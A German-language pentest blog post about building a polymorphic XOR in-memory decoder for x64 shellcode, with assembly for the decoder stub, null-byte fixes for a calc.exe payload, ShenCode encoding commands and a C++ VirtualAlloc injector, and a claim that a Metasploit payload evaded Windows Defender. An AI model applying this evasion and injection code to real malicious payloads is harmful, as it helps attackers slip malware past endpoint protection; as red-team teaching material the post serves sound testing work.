{{tag>IT-Security Windows Kali pentest obfuscation blog deutsch}}
====== Obfuscation: polymorpher In-Memory Decoder ======
{{:it-security:blog:2024-250_xor_in-memory_decoder.webp?400|}}
Red-Teaming und Penetration Tests erfordern häufig das Umgehen von Virenscannern, um wirksam Sicherheitslücken aufdecken zu können. [[it-security:blog:obfuscation_shellcode_als_uuids_tarnen|Im letzten Teil]] haben wir uns mit der Tarnung von Shellcode als UUID im Quellcode befasst. Dies hat auch gut funktioniert, jedoch wurde der Shellcode im Speicher erkannt und blockiert.
Das wollen wir nun mit einem polymorphen In-Memory Decoder lösen: Ein Shellcode, der Shellcode entschlüsselt.
===== XOR-Decoder =====
Den XOR-Decoder habe ich von [[https://www.doyler.net/security-not-included/shellcode-xor-encoder-decoder|doyler.net]] übernommen und an die x64-Architektur angepasst. Dies war recht simpel, da nur die entsprechenden Register umbenannt werden mussten. Der Decoder startet mit dieser Anweisung:
_start:
jmp short call_decoder ; Begin of JMP-CALL-POP
''%%JMP-CALL-POP%%'' ist eine Technik, welche uns erlaubt Code unabhängig vom Speicher auszuführen. In diesem ersten Schritt springen wir nun zur Sprungmarke ''%%call_decoder%%''
call_decoder:
call decoder ; RSP points to the next instruction (the shellcode)
; The encoded shellcode
Shellcode: db 0x6a,0x77,0xb6...
Hier sehen wir, dass über die ''%%CALL%%''-Anweisung direkt ein anderer Teil des Programms aufgerufen wird. Sobald dies geschieht, speichert das Register ''%%RSP%%'' den Pointer zum nächsten Befehl (in unserem Fall der Shellcode) auf dem Stack.
decoder:
pop rsi ; Move pointer to encoded shellcode into RSI from the stack
Im aufgerufenem Programmteil sichern wir uns den Pointer vom Stack in das Register ''%%RSI%%'' und wissen wo unser Shellcode nun im Speicher zu adressieren ist.
Jetzt geht es weiter zur eigentlichen Entschlüsselungs-Routine:
decode:
xor byte [rsi], 0x3F ; The byte RSI points to, will be XORed by 0x3F
jz Shellcode ; jump out of the loop if 0: RSI xor 0x3F = 0
inc rsi ; increment RSI to decode the next byte
jmp short decode ; loop until each byte was decoded
''%%xor byte [rsi], 0x3F%%'' dekodiert nun das Byte, welches durch ''%%RSI%%'' adressiert wird. In diesem Fall ist dies das erste Byte des Shellcodes. Der Schlüssel zum Dekodieren ist ''%%0x3F%%'' und kann entsprechend der ursprünglichen Kodierung geändert werden.
''%%jz Shellcode%%'' prüft nun, ob das dekodierte Byte ''%%0x00%%'' entspricht.
==== $Byte \neq 0$ ====
Ist das Ergebnis negativ, springt der Code zur nächsten Anweisung: ''%%inc rsi%%''
''%%RSI%%'' wird erhöht und zeigt somit auf das nächste Byte im Shellcode, welches beim nächsten Durchlauf dekodiert wird. ''%%jmp short decode%%'' springt zurück zum Anfang der Funktion.
==== $Byte = 0$ ====
Ist das Ergebnis positiv, wird die Schleife unterbrochen und der Shellcode ausgeführt. Hier ist es wichtig den Schlüssel an den Shellcode anzuhängen, denn:
''%%0x3F XOR 0x3F = 0x00%%''
Dies markiert das Ende des Shellcodes und unterbricht die Schleife. Somit benötigen wir keinen zusätzlichen Zähler.
''%%jz Shellcode%%'' springt nun direkt in unseren dekodierten Shellcode und führt diesen aus.
===== calc.exe Payload =====
Wir wollen das ''%%calc.exe%%'' Payload aus [[it-security:blog:shellcode_injection-4|diesem Blogpost]] verwenden. Dieser enthält aber noch 0-Bytes, welche die Dekodierung verhindern. Warum ist das so? Ein Beispiel:
# Encoding
XOR Key: 0x3F
Byte: 0x00
0x00 XOR 0x3F = 0x3F
# Decoding
XOR Key: 0x3F
Byte: 0x3F
0x3F XOR 0x3F = 0x00
Ein 0-Byte würde somit den Enkodierungsvorgang frühzeitig abbrechen, da ''%%jz Shellcode%%'' dies als Signal zum beenden ansehen würde. Somit müssen wir noch ein paar Modifizierungen vornehmen.
==== GS Register ====
Der Fix für das GS Register aus dem vorigen Beitrag beseitigt nur $2/3$ 0-Bytes. Für die vorigen Tests war dies ausreichend. Eine kleine Änderung bringt uns hier ans Ziel:
xor rax, rax
mov al, 60h
mov rax, gs:[rax] ; 65 48 8b 00
ändern in:
xor rax, rax
mov rax, gs:[rax+0x60] ; 65 48 8b 40 60
Dies verkleinert auch gleich unseren Shellcode ein wenig.
==== Kernel32-Base ====
Bei der Suche nach ''%%Kernel32Base%%'' benutzen wir nur das Register ''%%RAX%%'' ohne Berechnung. Auch dies führt zu einem 0-Byte. Hier können wir jedoch das Register ''%%RBX%%'' zur Hilfe nehmen und so die 0-Bytes vermeiden.
mov rax, [rax] ; 48 8b 00
mov rax, [rax] ; 48 8b 00
ändern in:
mov rbx, [rax] ; 48 8b 18
mov rax, [rbx] ; 48 8b 03
==== JMP SHORT ====
jmp short InvokeWinExec ; eb 00
Hier springt der Code zur nächsten Anweisung. Da der Code dies auch ohne ''%%JMP%%'' macht, können wir die Zeile auskommentieren.
==== Kompilieren ====
Den Code können wir kompilieren und erhalten einen sauberen Op-Code.
nasm -f win64 calc.asm -o calc.o
===== XOR-Decoder Stub =====
==== calc.exe Payload aufbereiten ====
Den Op-Code müssen wir nun noch etwas bearbeiten, um ihn im Decoder nutzen zu können. Hierzu nutze ich mein ShellCode-Tool [[https://github.com/psycore8/shencode|ShenCode]]:
python shencode.py extract -i calc.o -o calc.raw -fb 60 -lb 311
...
python shencode.py xorenc -f calc.raw -o calc.xor -k 63
...
python shencode.py formatout -i calc.xor -s cs
[*] processing shellcode format...
0x6a,0x77,0xb6,
...
0x07,0x77,0xbc,0xfb,0x27,0x77,0xbc,0xfb,0x37,0x62
[+] DONE!
Schritt für Schritt:
- Wir extrahieren den eigentlichen Shellcode aus der Datei ''%%calc.o%%'' und speichern diesen in ''%%calc.raw%%'' (von Offset ''%%60%%'' bis ''%%311%%'')
- Wir enkodieren den extrahierten Code mit dem Schlüssel ''%%63%%'' und speichern das Ergebnis in ''%%calc.xor%%'', ''%%63%%'' dezimal entspricht ''%%3F%%'' Hexadezimal
- Wir lassen uns den enkodierten Shellcode im C# Format ausgeben (welches wir auch für Assembler nutzen können)
Die Ausgabe sichern wir uns, entfernen die Zeilenumbrüche und hängen unser "Magic-Byte" ''%%0x3F%%'' ans Ende an.
==== XOR-Decoder und Payload ====
Jetzt können wir unsere Payload zum XOR-Decoder hinzufügen. Hierzu kopieren wir den vorher aufbereiteten Code in die letzte Anweisung des XOR-Decoders:
; The encoded shellcode
Shellcode: db 0x6a,0x77,0xb6,...0x37,0x62,0x3f
Zusätzlich kontrollieren wir, ob der XOR-Key passt:
decode:
xor byte [rsi], 0x3F
Wenn alles richtig ist, kompilieren wir unseren Decoder:
nasm -f win64 xor-decoder.asm -o xor-decoder.o
Anschließend suchen wir nach den Shellcode-Offsets, extrahieren unseren Code und bereiten diesen für unsere ''%%Inject.cpp%%'' vor:
python shencode.py formatout -i xor-decoder.o -s inspect
0x00000048: 00 00 00 00 00 00 00 00
0x00000056: 20 00 50 60 eb 0b 5e 80 Offset=60
0x00000064: 36 3f 74 0a 48 ff c6 eb
...
0x00000320: bc fb 27 77 bc fb 37 62
0x00000328: 3f 2e 66 69 6c 65 00 00 Offset=329
0x00000336: 00 00 00 00 00 fe ff 00
python shencode.py extract -i xor-decoder.o -o xor-decoder.stub -fb 60 -lb 329
[*] try to open file
[+] reading xor-decoder.o successful!
[*] cutting shellcode from 60 to 329
[+] written shellcode to xor-decoder.stub
[+] DONE!
python shencode.py formatout -i xor-decoder.stub -s c
[*] processing shellcode format...
"\xeb\x0b\x5e...\x37\x62\x3f"";
[+] DONE!
===== Inject.cpp =====
Die eben aufbereiteten Bytes können wir nun in unser Injector Programm einfügen und auch dieses kompilieren.
#include
#include
#include
#pragma warning
unsigned char payload[] =
"\xeb\x0b\x5e...\x37\x62\x3f";
int main() {
size_t byteArrayLength = sizeof(payload);
std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl;
void* (*memcpyPtr) (void*, const void*, size_t);
void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpyPtr = &memcpy;
memcpyPtr(exec, payload, byteArrayLength);
((void(*)())exec)();
return 0;
}
===== Debug =====
Zum testen habe ich einen Debugger gestartet und navigiere nun zum Speicherbereich des XOR-Decoders. Während des Debugs kann man Schritt-für-Schritt sehen, wie die Anweisungen im unteren Bereich entschlüsselt werden. Ersichtlich wird dies an den Bildern, unterhalb der ''%%call%%'' Anweisung (was ''%%Shellcode: db ...%%'' entspricht).
{{:it-security:blog:2024-250_xor_in-memory_decoder.png?600|}}
{{:it-security:blog:2024-250_xor_in-memory_decoder_1.png?600|}}
{{:it-security:blog:2024-250_xor_in-memory_decoder_2.png?600|}}
{{:it-security:blog:2024-250-animation.gif|}}
Die Animation zeigt oben den Durchlauf der Dekodierungs-Schleife, während der Shellcode im unteren Bereich schrittweise dekodiert wird.
===== Test mit einem Metasploit Payload =====
Das Ganze funktioniert auch mit einem Metasploit Payload:
{{:it-security:blog:2024-250_xor_in-memory_decoder_3.png?700|}}
===== Fazit =====
Um den Prozess zu vereinfachen, habe ich den XOR-Stub als Template in [[https://github.com/psycore8/shencode|ShenCode]] integriert. Mit zwei Befehlen generieren wir hiermit einen XOR In-Memory Decoder:
python shencode.py xorencode -i input.raw -o xor.out --key 63
python shencode.py xorpoly -i xor.out -o stub.raw --key 63
Der XOR-Decoder stellt einen wirksamen Speicherschutz dar. In Verbindung mit anderen Obfuscation Techniken, kann dies ein guter Helfer für Penetration Tests sein. Während meines Tests wurde selbst das Metasploit Payload nicht vom Windows Defender erkannt.
~~DISCUSSION~~